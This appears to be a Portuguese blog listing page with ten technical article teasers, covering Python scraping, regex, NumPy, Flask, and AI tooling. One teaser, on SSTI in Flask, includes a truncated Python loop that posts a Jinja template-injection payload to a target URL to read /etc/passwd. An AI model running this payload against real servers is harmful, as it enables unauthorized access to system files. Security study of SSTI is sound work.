Injeção de SSTI em aplicações Flask e como contornar

Exploração da classe FileLoader: import requests url = input('Digite a URL do alvo: ') for i in range(500): payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].get_data(0, '/etc/passwd')}}}}" try: response = requests.post(url, data={"name": payload}) if response.status_code == 200 and '_fr ...

Publicado em 8-5 12:37

Web Scraping com Python: Uma Introdução ao Requests e Scrapy

O scraping de dados é um processo automatizado para coletar enformações da web seguindo regras específicas. Em Python, existem várias bilbiotecas que facilitam essa tarefa, como Requests para requisições HTTP e Scrapy para extração estruturada de dados. Utilizando a Biblioteca Requests A biblioteca requests simplifica significativamente a reali ...

Publicado em 8-5 11:41

Guia Definitivo para Baixar Livros Eletrônicos da Plataforma Inteligente de Educação Básica

O tchMaterial-parser é uma ferramenta open-source desenvolvida para extrair e baixar livros eletrônicos no formato PDF da Plataforma Inteligente de Educação Básica. O projeto está disponível no repositório https://gitcode.com/GitHub_Trending/tc/tchMaterial-parser. Funcionalidades Principais Extração Automática: Identifica URLs de pré-visualiza ...

Publicado em 8-5 06:23

Guia Prático: Implementando Cadeia de Pensamento (CoT) com o Modelo QwQ-32B no Ollama

Diferente dos modelos de linguagem convencionais que entregam respostas diretas, muitas vezes omitindo o processo lógico, o QwQ-32B foi projetado com foco em raciocínio profundo. Desenvolvido como parte da linhagem Qwen, este modelo não apenas responde, mas "pensa em voz alta", utilizando uma mecânica interna de Cadeia de Pensamento ( ...

Publicado em 8-5 04:45

Expressões Regulares em Python: Guia Prático para Automação de Scripts

Expressões regulares (Regex) funcionam como uma "faca suíça" para o processamento de texto. Emmbora sua sintaxe possa parecer intimidadora à primeira vista, dominar essa ferramenta permite que desenvolvedores Python criem scripts de automação robustos para extrair informações, validar dados e manipular strings com eficiência. Fundamen ...

Publicado em 8-4 20:04

Criando Arrays com NumPy: Um Guia Detalhado

A função np.array é um pilar fundamental na biblioteca NumPy, servindo como a principal ferramenta para a criação de arrays multidimensionais (ndarrays). Este guia explora sua sintaxe, parâmetros, exemplos práticos e considerações importantes. Sintaxe Básica A assinatura da função é: numpy.array(object, dtype=None, copy=True, order='K', subok=F ...

Publicado em 8-4 04:01

Desenvolvimento com Flask: Conectando ao Banco de Dados e Usando Blueprints

3. Conexão com o banco de dados MySQL e criação de pool de conexões A conexão direta com o banco de dados a cada requisição é ineficiente, pois consome tempo e recursos valiosos. Uma solução melhor é utilizar um pool de conexões, que mantém um conjunto de conexões pré-estabeelcidas prontas para uso. Primeiro, vejamos uma implementação básica se ...

Publicado em 8-4 03:56

Acelerando o Processamento de Datasets COCO com Assistência de Inteligência Artificial

O formato COCO (Common Objects in Context) é um dos padrões mais robustos e amplamente utilizados para tarefas de detecção de objetos, segmentação e reconhecimento de pontos-chave. No entanto, sua estrutura de arquivos JSON, que separa imagens de anotações e categorias, pode ser comlpexa para iniciantes ou para desenvolvedores que buscam protot ...

Publicado em 8-4 03:26

Instalação e Configuração do LabelImg para Anotação de Imagens

O LabelImg é uma ferramenta de anotação de imagens de código aberto, amplamente utilizada para criar caixas delimitadoras (bounding boxes) e anotações poligonais. Essencial para a preparação de conjuntos de dados em projetos de visão computacional, como detecção de objetos e reconhecimento de imagens, permite rotular objetos em imagens de forma ...

Publicado em 8-3 22:20

Guia Completo para Desenvolvimento de APIs com Masonite: Autenticação JWT e Padrões RESTful

O Masonite é um framework Python moderno que prioriza a experiência do desenvolvedor, oferecendo um ecossistema robusto para a construção de APIs escaláveis. Este guia explora a implementação de autenticação JWT, configuração de middlewares e a aplicação de boas práticas RESTful utilizando as ferramentas nativas do framework. 1. Configuração do ...

Publicado em 8-3 12:05